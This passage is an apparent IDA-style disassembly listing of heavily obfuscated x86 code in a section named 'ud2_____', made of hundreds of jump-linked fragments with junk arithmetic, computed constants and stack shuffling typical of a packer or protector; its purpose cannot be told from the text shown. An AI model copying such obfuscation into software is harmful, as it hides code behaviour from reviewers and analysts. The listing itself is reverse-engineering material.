		jmp	loc_57FD14
; ---------------------------------------------------------------------------


loc_57FED4:				; CODE XREF: ud2_____:00582DB9j
		mov	ch, bl
		jmp	loc_58425F
; ---------------------------------------------------------------------------


loc_57FEDB:				; CODE XREF: ud2_____:005815ACj
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_587516
; ---------------------------------------------------------------------------


loc_57FEEF:				; CODE XREF: ud2_____:0058C771j
		mov	[esp], eax
		mov	eax, 81A1551h
		mov	edx, 25F45BFDh
		xor	edx, eax
		pop	eax
		jmp	loc_58A909
; ---------------------------------------------------------------------------


loc_57FF04:				; CODE XREF: ud2_____:005828D9j
		shl	ebp, 7
		jmp	loc_58300E
; ---------------------------------------------------------------------------


loc_57FF0C:				; CODE XREF: ud2_____:0058B363j
		mov	eax, [esp]
		jmp	loc_58D592
; ---------------------------------------------------------------------------


loc_57FF14:				; CODE XREF: ud2_____:0058E958j
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		jmp	loc_58BD47
; ---------------------------------------------------------------------------


loc_57FF21:				; CODE XREF: ud2_____:0058D151j
		push	ebx
		mov	ebx, 6F355F4Dh
		xor	ebp, ebx
		jmp	loc_581744
; ---------------------------------------------------------------------------


loc_57FF2E:				; CODE XREF: ud2_____:005876AEj
		mov	[esp], ebp
		jmp	loc_5884C5
; ---------------------------------------------------------------------------


loc_57FF36:				; CODE XREF: ud2_____:0058193Ej
		add	edx, 0BF9B5268h
		mov	ebx, edx
		pop	edx
		sub	edi, ebx
		pop	ebx
		add	edi, eax
		add	edi, 0DE05BD2h
		push	ecx
		mov	ecx, 11DE3A9Fh
		shr	ecx, 3
		neg	ecx
		not	ecx
		sub	ecx, 10803635h
		xor	ecx, 199001C2h
		jmp	loc_58E143
; ---------------------------------------------------------------------------


loc_57FF68:				; CODE XREF: ud2_____:0058B48Bj
		mov	ebp, 94DD9056h
		add	ebp, 3ED56796h
		add	ebp, ebx
		sub	ebp, 3ED56796h
		pop	ebx
		mov	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_582496
; ---------------------------------------------------------------------------


loc_57FF8C:				; CODE XREF: ud2_____:0058F24Bj
		add	ebx, esi
		pop	esi
		sub	ebx, eax
		push	323Dh
		jmp	loc_58AD3A
; ---------------------------------------------------------------------------


loc_57FF9B:				; CODE XREF: ud2_____:0057E098j
		mov	dh, 0BAh
		sub	dh, bh
		jmp	loc_5872F5
; ---------------------------------------------------------------------------


loc_57FFA4:				; CODE XREF: ud2_____:0058B571j
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_587886
; ---------------------------------------------------------------------------


loc_57FFB3:				; CODE XREF: ud2_____:005851FFj
		shr	bh, 1
		xchg	ch, bh
		jmp	loc_5859A9
; ---------------------------------------------------------------------------


loc_57FFBC:				; CODE XREF: ud2_____:00590CE3j
		xor	dl, 0BBh
		add	al, dl
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	al, bl
		push	ecx
		push	eax
		mov	ah, 0BDh
		mov	cl, 5Eh
		xor	cl, ah
		pop	eax
		shr	cl, 6
		jmp	loc_58320B
; ---------------------------------------------------------------------------


loc_57FFDB:				; CODE XREF: ud2_____:0058AF36j
		mov	ebp, [esp]
		add	esp, 4
		add	eax, ebx
		jmp	loc_584CE9
; ---------------------------------------------------------------------------


loc_57FFE8:				; CODE XREF: ud2_____:00591667j
		mov	edi, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi


loc_580000:				; DATA XREF: ud2_____:005A1E38o
		xor	edi, [esp]
		mov	esp, [esp]
		push	771h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		jmp	loc_57E4BF
; ---------------------------------------------------------------------------


loc_58001A:				; CODE XREF: ud2_____:00585AE6j
		push	dword ptr [esp]
		pop	ecx
		push	esi
		mov	esi, esp
		jmp	loc_58B7F4
; ---------------------------------------------------------------------------


loc_580026:				; CODE XREF: ud2_____:005834E7j
		pop	edx
		push	edx
		mov	edx, 0A1D10E7h
		jmp	loc_57F8DE
; ---------------------------------------------------------------------------


loc_580032:				; CODE XREF: ud2_____:00582EEBj
		push	5E7F180Ah
		jmp	loc_59221C
; ---------------------------------------------------------------------------


loc_58003C:				; CODE XREF: ud2_____:0058D672j
		add	ebx, ebp
		pop	ebp
		jmp	loc_583D4D
; ---------------------------------------------------------------------------


loc_580044:				; CODE XREF: ud2_____:00590A14j
					; DATA XREF: ___:off_425F7Co ...
		xchg	ebp, [esp]
		jmp	loc_58F072
; ---------------------------------------------------------------------------


loc_58004C:				; CODE XREF: ud2_____:00591ED0j
		add	esp, 4
		push	eax
		mov	eax, 1B1704E4h
		sub	edi, 1B540847h
		sub	edi, eax
		add	edi, 1B540847h
		jmp	loc_581DFC
; ---------------------------------------------------------------------------


loc_580068:				; CODE XREF: ud2_____:005828AEj
		and	ah, 8Ah
		and	ah, 83h
		jmp	loc_58D88A
; ---------------------------------------------------------------------------


loc_580073:				; CODE XREF: ud2_____:00586E6Ej
		push	eax
		jmp	loc_583639
; ---------------------------------------------------------------------------


loc_580079:				; CODE XREF: ud2_____:00581333j
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_57EA47
; ---------------------------------------------------------------------------


loc_580087:				; CODE XREF: ud2_____:00589F15j
		push	ebx
		mov	bh, 5Ah
		xor	bh, 0F4h
		and	cl, bh
		jmp	loc_592505
; ---------------------------------------------------------------------------


loc_580094:				; CODE XREF: ud2_____:00591DBBj
		mov	[esp], ecx
		push	ebx
		mov	ebx, 7948143Eh
		mov	ecx, 79481442h
		sub	ecx, ebx
		pop	ebx
		add	dword ptr [esp+4], 3FAA4EEFh
		jmp	loc_584D64
; ---------------------------------------------------------------------------


loc_5800B2:				; CODE XREF: ud2_____:0058E16Aj
		push	esp
		pop	ecx
		push	edi
		push	1395h
		mov	[esp], eax
		mov	eax, 1BFF2FCCh
		neg	eax
		shr	eax, 4
		and	eax, 5D6C593Eh
		push	edi
		mov	edi, 80A255Ch
		or	eax, edi
		jmp	loc_58ABAE
; ---------------------------------------------------------------------------


loc_5800D9:				; CODE XREF: ud2_____:0058CA5Dj
		and	ebx, 6DE43044h
		jmp	loc_587C16
; ---------------------------------------------------------------------------


loc_5800E4:				; CODE XREF: ud2_____:00581B95j
		pop	ebp
		push	ebp
		mov	ebp, 7C6C495Bh
		push	edi
		mov	edi, 47C562F2h
		sub	edx, edi
		pop	edi
		push	eax
		mov	eax, 33E22C93h
		add	edx, eax
		pop	eax
		sub	edx, ebp
		jmp	loc_58269E
; ---------------------------------------------------------------------------


loc_580104:				; CODE XREF: ud2_____:00585E87j
		mov	ebx, 7A2D0ECEh
		jmp	loc_58AC63
; ---------------------------------------------------------------------------


loc_58010E:				; CODE XREF: ud2_____:00590900j
		mov	ebx, 410527E6h
		sub	esi, ebx
		pop	ebx
		jmp	loc_591459
; ---------------------------------------------------------------------------


loc_58011B:				; CODE XREF: ud2_____:00589BACj
		push	edx
		mov	edx, 8DA00E6h
		push	4732h
		mov	[esp], esi
		mov	esi, edx
		mov	ebx, esi
		jmp	loc_585B3B
; ---------------------------------------------------------------------------


loc_580132:				; CODE XREF: ud2_____:0058DD1Ej
		pop	ebx
		jmp	loc_584963
; ---------------------------------------------------------------------------


loc_580138:				; CODE XREF: ud2_____:0058F343j
		push	15C343B4h
		pop	eax
		sub	edx, 48491B47h
		add	edx, eax
		add	edx, 48491B47h
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	edi
		push	esp
		pop	edi
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_58C2D6
; ---------------------------------------------------------------------------


loc_580177:				; CODE XREF: ud2_____:00584005j
		and	ecx, 4DCE552Bh
		xor	ecx, 3CE83CB8h
		add	eax, ecx
		pop	ecx
		jmp	loc_591DF3
; ---------------------------------------------------------------------------


loc_58018B:				; CODE XREF: ud2_____:00583815j
		push	edi
		push	esi
		mov	esi, 31800A36h
		mov	edi, esi
		jmp	loc_590DE8
; ---------------------------------------------------------------------------


loc_580199:				; CODE XREF: ud2_____:0058F8AAj
		add	al, dh
		pop	edx
		push	edx
		mov	dl, 5
		push	ebx
		jmp	loc_58E61F
; ---------------------------------------------------------------------------


loc_5801A5:				; CODE XREF: ud2_____:0058A0E6j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_58B723
; ---------------------------------------------------------------------------


loc_5801B9:				; CODE XREF: ud2_____:00581D16j
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_589EE4
; ---------------------------------------------------------------------------


loc_5801C5:				; CODE XREF: ud2_____:005889EBj
		mov	edx, 20866F1Ah
		jmp	loc_58F407
; ---------------------------------------------------------------------------


loc_5801CF:				; CODE XREF: ud2_____:00590D0Aj
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_586FF2
; ---------------------------------------------------------------------------


loc_5801E2:				; CODE XREF: ud2_____:0057F2F7j
		mov	ebx, [esp]
		add	esp, 4
		pop	edx
		xor	bl, al
		movzx	eax, al
		jmp	loc_59124E
; ---------------------------------------------------------------------------


loc_5801F3:				; CODE XREF: ud2_____:005888FFj
		push	eax
		mov	eax, 4
		sub	esi, 652D03ABh
		add	esi, eax
		add	esi, 652D03ABh
		pop	eax
		xchg	esi, [esp]
		jmp	loc_58FE98
; ---------------------------------------------------------------------------


loc_580210:				; CODE XREF: ud2_____:0058A24Cj
		mov	di, [esp]
		add	esp, 2
		push	small 7572h
		jmp	loc_5901B4
; ---------------------------------------------------------------------------


loc_580223:				; CODE XREF: ud2_____:0058C6A0j
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_585630
; ---------------------------------------------------------------------------


loc_58022B:				; CODE XREF: ud2_____:0058BCC7j
		inc	eax
		sub	eax, 0B463530h
		mov	esi, eax
		pop	eax
		add	dword ptr [esp+4], 2C95B2Bh
		add	[esp+4], esi
		sub	dword ptr [esp+4], 2C95B2Bh
		pop	esi
		pop	eax
		push	2ACEh
		jmp	loc_587FFA
; ---------------------------------------------------------------------------


loc_580254:				; CODE XREF: ud2_____:00587E70j
		add	esi, 440A06DEh
		dec	esi
		sub	esi, 0C6DC5E2h
		add	edi, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_585F7E
; ---------------------------------------------------------------------------


loc_58027B:				; CODE XREF: ud2_____:005846F2j
		add	eax, 6C7814FDh
		push	34E4h
		mov	[esp], edx
		mov	edx, 52A60F60h
		push	eax
		mov	eax, 7F342CB3h
		shr	eax, 8
		jmp	loc_58C0E8
; ---------------------------------------------------------------------------


loc_58029B:				; CODE XREF: ud2_____:0058F6D0j
		sub	al, bh
		sub	al, 39h
		pop	ebx
		add	al, 7Ch
		sub	al, bl
		sub	al, 7Ch
		push	7539h
		mov	[esp], edx
		push	ebx
		mov	bh, 46h
		push	ecx
		mov	ch, bh
		jmp	loc_58A16F
; ---------------------------------------------------------------------------


loc_5802B9:				; CODE XREF: ud2_____:00588273j
		xor	al, 64h
		add	al, 84h
		add	al, 6
		mov	bh, al
		pop	eax
		inc	bh
		or	bh, 0BEh
		not	bh
		jmp	loc_587DC6
; ---------------------------------------------------------------------------


loc_5802CE:				; CODE XREF: ud2_____:0058DEC7j
		pop	edx
		jmp	loc_591729
; ---------------------------------------------------------------------------


loc_5802D4:				; CODE XREF: ud2_____:00582A64j
		mov	[esp], ecx
		mov	ecx, 4C7E6250h
		or	ecx, 2F8B46DAh
		or	ecx, 1B174DDEh
		jmp	loc_58839E
; ---------------------------------------------------------------------------


loc_5802ED:				; CODE XREF: ud2_____:005808EAj
		mov	ah, 0E6h
		sub	dh, ah
		pop	ax
		push	bx
		mov	bl, 0C5h
		add	dh, bl
		mov	bx, [esp]
		add	esp, 2
		add	dh, bl
		sub	dh, 0C5h
		push	1DBCh
		mov	[esp], eax
		mov	al, 10h
		jmp	loc_58DC4D
; ---------------------------------------------------------------------------


loc_580317:				; CODE XREF: ud2_____:00580EFFj
		add	dh, cl
		mov	ecx, [esp]
		add	esp, 4
		add	dh, ch
		mov	ecx, [esp]
		jmp	loc_58D7AC
; ---------------------------------------------------------------------------


loc_58032C:				; CODE XREF: ud2_____:0058D2CAj
		push	66F1h
		mov	[esp], esi
		mov	esi, 0DF24834h
		add	ebx, esi
		mov	esi, [esp]
		jmp	loc_5915DC
; ---------------------------------------------------------------------------


loc_580343:				; CODE XREF: ud2_____:00590606j
		add	bl, dh
		sub	bl, 98h
		jmp	loc_58DCB9
; ---------------------------------------------------------------------------


loc_58034D:				; CODE XREF: ud2_____:0058CDE5j
		add	ebx, edi
		pop	edi
		push	ebp
		jmp	loc_5864A5
; ---------------------------------------------------------------------------


loc_580356:				; CODE XREF: ud2_____:00590FF4j
		add	al, bl
		sub	al, 0AEh
		jmp	loc_5918A4
; ---------------------------------------------------------------------------


loc_58035F:				; CODE XREF: ud2_____:0057E159j
		push	eax
		mov	eax, 7CF60CC1h
		mov	edx, eax
		pop	eax
		push	edx
		pop	ebp
		jmp	loc_58E651
; ---------------------------------------------------------------------------


loc_58036F:				; CODE XREF: ud2_____:00585E5Fj
		mov	eax, 4C095FE8h
		shr	eax, 6
		sub	eax, 130257Bh
		mov	ebx, eax
		pop	eax
		add	ecx, ebx
		jmp	loc_57FDAA
; ---------------------------------------------------------------------------


loc_580386:				; CODE XREF: ud2_____:0058E9C5j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_590424
; ---------------------------------------------------------------------------


loc_58038F:				; CODE XREF: ud2_____:00592C06j
		xor	edi, ebp
		pop	ebp
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		or	eax, eax
		jz	loc_59284C
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_57EDEA
; ---------------------------------------------------------------------------


loc_5803BA:				; CODE XREF: ud2_____:0058F8C9j
		mov	[esp], ebx
		mov	bl, dh
		jmp	loc_58F0E8
; ---------------------------------------------------------------------------


loc_5803C4:				; CODE XREF: ud2_____:0058DDA8j
		pop	edi
		add	edi, 43496DC4h
		pop	esi
		inc	edi
		push	esi
		mov	esi, 75214F31h
		jmp	loc_57F0AF
; ---------------------------------------------------------------------------


loc_5803D8:				; CODE XREF: ud2_____:0058BA60j
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_58EE7E
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_58532A
; ---------------------------------------------------------------------------


loc_5803EC:				; CODE XREF: ud2_____:0058C180j
		push	eax
		push	edx
		mov	edx, 49112EBAh
		mov	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 3A28F125h
		jmp	loc_5877F9
; ---------------------------------------------------------------------------


loc_580406:				; CODE XREF: ud2_____:0058A0C5j
		add	edx, ecx
		jmp	loc_588BFB
; ---------------------------------------------------------------------------


loc_58040D:				; CODE XREF: ud2_____:00592DADj
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_580412:				; CODE XREF: ud2_____:00587424j
		add	ch, 0A7h
		jmp	loc_583B81
; ---------------------------------------------------------------------------
		push	48A9h
		jmp	loc_582C9B
; ---------------------------------------------------------------------------


loc_580424:				; CODE XREF: ud2_____:00581FF3j
		pop	dword ptr [esp]
		jmp	loc_5856F2
; ---------------------------------------------------------------------------


loc_58042C:				; CODE XREF: ud2_____:0058DC28j
		mov	edx, 961261Dh
		xor	edx, 475A11BAh
		sub	edi, 0EBA3FE1h
		push	ebp
		mov	ebp, 64D1546Fh
		and	ebp, 404A2704h
		xor	ebp, 404E7DE1h
		add	edi, ebp
		pop	ebp
		jmp	loc_5825E7
; ---------------------------------------------------------------------------


loc_580457:				; CODE XREF: ud2_____:00592B74j
		mov	ebx, [esp]
		add	esp, 4
		sub	ebx, 6CF7319Fh
		jmp	loc_58EF91
; ---------------------------------------------------------------------------


loc_580468:				; CODE XREF: ud2_____:0058579Cj
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	ebx
		jmp	loc_590BF4
; ---------------------------------------------------------------------------


loc_58047F:				; CODE XREF: ud2_____:00580D0Cj
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], edi
		pop	ecx
		jmp	loc_581183
; ---------------------------------------------------------------------------


loc_58048F:				; CODE XREF: ud2_____:005812EBj
		mov	edx, 58D41496h
		inc	edx
		shl	edx, 4
		xor	edx, 95C9547Ch
		or	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_591610
; ---------------------------------------------------------------------------


loc_5804AB:				; CODE XREF: ud2_____:0058C967j
		add	ecx, ebx
		jmp	loc_58B20C
; ---------------------------------------------------------------------------


loc_5804B2:				; CODE XREF: ud2_____:0058E4E7j
		xor	esi, 72AE4E42h
		and	esi, 0E9E66BAh
		jmp	loc_582729
; ---------------------------------------------------------------------------


loc_5804C3:				; CODE XREF: ud2_____:0058A162j
		xor	ebp, 8E517DDh
		add	ebp, 0C5A5D533h
		jmp	loc_57FE8D
; ---------------------------------------------------------------------------


loc_5804D4:				; CODE XREF: ud2_____:0058C1F2j
		mov	[esp], esi
		jmp	loc_584E81
; ---------------------------------------------------------------------------


loc_5804DC:				; CODE XREF: ud2_____:00589E0Dj
		push	ecx
		push	ebp
		push	edx
		mov	edx, 3A2C38B0h
		not	edx
		sub	edx, 1
		push	1C82h
		mov	[esp], edi
		mov	edi, 0C5D3C76Ah
		xor	edx, edi
		jmp	loc_58B0D6
; ---------------------------------------------------------------------------


loc_5804FD:				; CODE XREF: ud2_____:00587864j
		pop	edi
		pop	edx
		jmp	loc_58A086
; ---------------------------------------------------------------------------


loc_580504:				; CODE XREF: ud2_____:0057FE5Dj
		mov	[esp], ebp
		push	12B3h
		mov	[esp], edx
		mov	edx, 3AE93BD0h
		and	edx, 4E4177Ah
		jmp	loc_580B28
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr fs:[edx]
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_57F270
; ---------------------------------------------------------------------------


loc_58052F:				; CODE XREF: ud2_____:00590B81j
		sub	ebx, 0F3EDEA55h
		push	edx
		mov	edx, 3DD329D0h
		neg	edx
		push	edi
		mov	edi, 1
		sub	edx, edi
		pop	edi
		not	edx
		add	edx, 66695EC1h
		xor	edx, 0DDF9AA23h
		add	ebx, edx
		pop	edx
		jmp	loc_587BC1
; ---------------------------------------------------------------------------


loc_58055C:				; CODE XREF: ud2_____:005919EAj
		add	esp, 4
		add	esi, ecx
		push	ebp
		mov	ebp, 76884FF3h
		push	ebx
		mov	ebx, 0C7C06ADh
		jmp	loc_59262E
; ---------------------------------------------------------------------------


loc_580575:				; CODE XREF: ud2_____:005849B4j
		shl	edx, 7
		push	ebx
		mov	ebx, 7E4701D3h
		inc	ebx
		sub	ebx, 1F5A75ABh
		jmp	loc_582352
; ---------------------------------------------------------------------------


loc_58058A:				; CODE XREF: ud2_____:00592DA5j
		add	ebx, 62707862h
		jmp	loc_589941
; ---------------------------------------------------------------------------


loc_580595:				; CODE XREF: ud2_____:00592BCDj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	edx
		push	ecx
		mov	cl, bh
		jmp	loc_584807
; ---------------------------------------------------------------------------


loc_5805A8:				; CODE XREF: ud2_____:00587ABAj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	edx, 2936A1Bh
		add	edx, edi
		add	edx, 2936A1Bh
		mov	edi, [esp]
		add	esp, 4
		shl	edx, 4
		jmp	loc_58B4A7
; ---------------------------------------------------------------------------


loc_5805CB:				; CODE XREF: ud2_____:005901F5j
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_57EB11
; ---------------------------------------------------------------------------


loc_5805D8:				; CODE XREF: ud2_____:00583BB6j
		push	edx
		jmp	loc_58F936
; ---------------------------------------------------------------------------


loc_5805DE:				; CODE XREF: ud2_____:0058948Cj
		pop	esi
		jmp	loc_585896
; ---------------------------------------------------------------------------


loc_5805E4:				; CODE XREF: ud2_____:0059123Bj
		push	dword ptr [esp]
		pop	esi
		push	2540h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_58FFAC
; ---------------------------------------------------------------------------


loc_580600:				; CODE XREF: ud2_____:005855CBj
		push	ebx
		mov	ebx, 0D952704h
		inc	ebx
		xor	ebx, 175679A8h
		not	ebx
		shl	ebx, 8
		add	ebx, 0FFFFFFFFh
		jmp	loc_58E2AE
; ---------------------------------------------------------------------------


loc_58061D:				; CODE XREF: ud2_____:00590B54j
		mov	ecx, esp
		push	ebx
		mov	ebx, 2C384CB1h
		jmp	loc_589620
; ---------------------------------------------------------------------------


loc_58062A:				; CODE XREF: ud2_____:00589BE5j
		push	esi
		push	ebp
		jmp	loc_5889A7
; ---------------------------------------------------------------------------


loc_580631:				; CODE XREF: ud2_____:0057E4E0j
		mov	eax, 2A603DEAh
		push	ebx
		push	ebp
		mov	ebp, 5C964117h
		jmp	loc_581672
; ---------------------------------------------------------------------------


loc_580642:				; CODE XREF: ud2_____:00587719j
		add	eax, 4
		push	166Fh
		mov	[esp], eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5892E7
; ---------------------------------------------------------------------------


loc_580662:				; CODE XREF: ud2_____:0057EE48j
		xor	ecx, 3E9F0E16h
		push	esi
		push	eax
		jmp	loc_58D3CE
; ---------------------------------------------------------------------------


loc_58066F:				; CODE XREF: ud2_____:00582126j
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		sub	eax, 43B549A3h
		jmp	loc_581A15
; ---------------------------------------------------------------------------


loc_580680:				; CODE XREF: ud2_____:0058C535j
		push	edx
		jmp	loc_58672D
; ---------------------------------------------------------------------------


loc_580686:				; CODE XREF: ud2_____:00584B67j
		mov	edi, esp
		add	edi, 4
		jmp	loc_583649
; ---------------------------------------------------------------------------


loc_580693:				; CODE XREF: ud2_____:00584D2Fj
		pop	edx
		xchg	eax, [esp]
		pop	esp
		jmp	loc_587332
; ---------------------------------------------------------------------------


loc_58069D:				; CODE XREF: ud2_____:0058BA8Bj
		mov	edx, 5730226Dh
		sub	edx, 3F135216h
		jmp	loc_58C801
; ---------------------------------------------------------------------------


loc_5806AD:				; CODE XREF: ud2_____:00589A2Cj
		mov	edi, 2
		jmp	loc_5879F4
; ---------------------------------------------------------------------------


loc_5806B7:				; CODE XREF: ud2_____:00580A98j
		mov	ebx, 6C662B30h
		not	ebx
		add	ebx, 79405CBCh
		jmp	loc_581F1D
; ---------------------------------------------------------------------------


loc_5806C9:				; CODE XREF: ud2_____:0058AE0Fj
		not	esi
		inc	esi
		add	esi, 2EE41E44h
		dec	esi
		add	esi, 0AB520DBh
		jmp	loc_58CBAF
; ---------------------------------------------------------------------------


loc_5806DE:				; CODE XREF: ud2_____:00590272j
		mov	al, dh
		pop	edx
		xor	al, 95h
		and	al, 7
		shr	al, 1
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 79h
		push	eax
		jmp	loc_58FA66
; ---------------------------------------------------------------------------


loc_5806F5:				; CODE XREF: ud2_____:0058B727j
		mov	edi, 3C604C1h
		jmp	loc_5821A3
; ---------------------------------------------------------------------------


loc_5806FF:				; CODE XREF: ud2_____:0058EA62j
		push	ebx
		mov	ebx, 78E237A0h
		mov	esi, 0B83A757Ch
		sub	esi, ebx
		pop	ebx
		push	0
		jmp	loc_58A98A
; ---------------------------------------------------------------------------


loc_580717:				; CODE XREF: ud2_____:00590869j
		not	ecx
		jmp	loc_58E3B1
; ---------------------------------------------------------------------------


loc_58071E:				; CODE XREF: ud2_____:00585BC4j
		shr	ecx, 0
		or	eax, eax
		jz	loc_58E647
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		mov	ecx, 38D94904h
		jmp	loc_580FE9
; ---------------------------------------------------------------------------


loc_58073D:				; CODE XREF: ud2_____:0058384Bj
		mov	edi, 4DCE2CA5h
		mov	ecx, 0B231D383h
		add	ecx, edi
		pop	edi
		add	ecx, 7F476918h
		add	ecx, edi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 565B0BEFh
		and	edi, 24CF6DBDh
		inc	edi
		sub	edi, 8503A096h
		add	ecx, 68E54B9h
		sub	ecx, edi
		sub	ecx, 68E54B9h
		pop	edi
		push	ebx
		mov	ebx, 0
		add	ebx, ecx
		mov	[ebx], al
		jmp	loc_57FA50
; ---------------------------------------------------------------------------


loc_580788:				; CODE XREF: ud2_____:00590F96j
		sub	edi, 37E258F0h
		xor	edi, 0C2F67E6Fh
		xor	edx, edi
		jmp	loc_5852EE
; ---------------------------------------------------------------------------


loc_58079B:				; CODE XREF: ud2_____:0057EB4Bj
		pop	ebx
		push	6EFh
		mov	[esp], edi
		mov	edi, ebx
		jmp	loc_57E1DD
; ---------------------------------------------------------------------------


loc_5807AB:				; CODE XREF: ud2_____:00587B17j
		sub	ebp, 0C2A2D610h
		xor	eax, ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	esp, 4
		jmp	loc_581D47
; ---------------------------------------------------------------------------


loc_5807C8:				; CODE XREF: ud2_____:00591104j
		pop	esp
		add	eax, ecx
		jmp	loc_589ACE
; ---------------------------------------------------------------------------


loc_5807D0:				; CODE XREF: ud2_____:005834FCj
		mov	edx, eax
		pop	eax
		add	edi, 35713CB9h
		add	edi, edx
		jmp	loc_590974
; ---------------------------------------------------------------------------


loc_5807E0:				; CODE XREF: ud2_____:0058B14Cj
		mov	edi, [esp]
		add	esp, 4
		pop	ebp
		sub	ebp, 2FC47FE0h
		mov	ebx, [esp]
		add	esp, 4
		sub	ebp, 1
		push	eax
		mov	eax, 25EC652Eh
		xor	ebp, eax
		pop	eax
		sub	eax, 1E63408h
		add	eax, ebp
		add	eax, 1E63408h
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	ebp
		push	840h
		mov	[esp], ebx
		jmp	loc_586677
; ---------------------------------------------------------------------------


loc_580829:				; CODE XREF: ud2_____:00588255j
		mov	esp, [esp]
		bt	[esp], ax
		pushf
		jmp	loc_57F466
; ---------------------------------------------------------------------------


loc_580837:				; CODE XREF: ud2_____:005875B7j
		add	esp, 4
		push	24FBh
		mov	[esp], esi
		jmp	loc_5822BA
; ---------------------------------------------------------------------------


loc_580847:				; CODE XREF: ud2_____:00582D16j
		add	ebp, esi
		pop	esi
		push	edi
		mov	edi, 4
		sub	ebp, 310B62FAh
		add	ebp, 4C383910h
		sub	ebp, edi
		sub	ebp, 4C383910h
		add	ebp, 310B62FAh
		pop	edi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_582F8D
; ---------------------------------------------------------------------------


loc_580879:				; CODE XREF: ud2_____:0058CA94j
		dec	ecx
		jmp	loc_57FCC3
; ---------------------------------------------------------------------------


loc_58087F:				; CODE XREF: ud2_____:0058EE69j
		mov	esi, 76386709h
		shr	esi, 3
		sub	esi, 5EE5043Dh
		xor	esi, ebx
		xor	ebx, esi
		xor	esi, ebx
		dec	ebx
		xor	esi, ebx
		xor	ebx, esi
		xor	esi, ebx
		add	esi, 0C3E58C1h
		jmp	loc_58DC2D
; ---------------------------------------------------------------------------


loc_5808A5:				; CODE XREF: ud2_____:0058A0EFj
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5881FF
; ---------------------------------------------------------------------------


loc_5808B5:				; CODE XREF: ud2_____:00581120j
		pop	esp
		inc	edi
		shr	edi, 6
		jmp	loc_58CC72
; ---------------------------------------------------------------------------


loc_5808BF:				; CODE XREF: ud2_____:005872C7j
		add	esp, 2
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5869B2
; ---------------------------------------------------------------------------


loc_5808CD:				; CODE XREF: ud2_____:0058A570j
		push	edx
		mov	edx, 3A934D5Fh
		jmp	loc_5918CF
; ---------------------------------------------------------------------------


loc_5808D8:				; CODE XREF: ud2_____:0058C8ECj
		shl	dh, 7
		jmp	loc_582F9E
; ---------------------------------------------------------------------------


loc_5808E0:				; CODE XREF: ud2_____:0058D114j
		mov	[esp], ebx
		mov	bl, 0FBh
		sub	dh, 32h
		push	ax
		jmp	loc_5802ED
; ---------------------------------------------------------------------------


loc_5808EF:				; CODE XREF: ud2_____:00592500j
		pop	edx
		push	22BFh
		mov	[esp], edi
		jmp	loc_58FBA0
; ---------------------------------------------------------------------------


loc_5808FD:				; CODE XREF: ud2_____:00587BABj
		sub	ebx, 95EB7439h
		sub	eax, ebx
		pop	ebx
		add	eax, ebx
		jmp	loc_586D93
; ---------------------------------------------------------------------------


loc_58090D:				; CODE XREF: ud2_____:0059238Cj
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		add	ebx, edx
		pop	edx
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	29F9h
		jmp	loc_588F59
; ---------------------------------------------------------------------------


loc_58092C:				; CODE XREF: ud2_____:0057E892j
		push	esi
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		push	ebx
		jmp	loc_583267
; ---------------------------------------------------------------------------


loc_580945:				; CODE XREF: ud2_____:00588228j
		add	esp, 4
		push	edx
		mov	edx, 67C705AEh
		or	edx, 58706954h
		neg	edx
		inc	edx
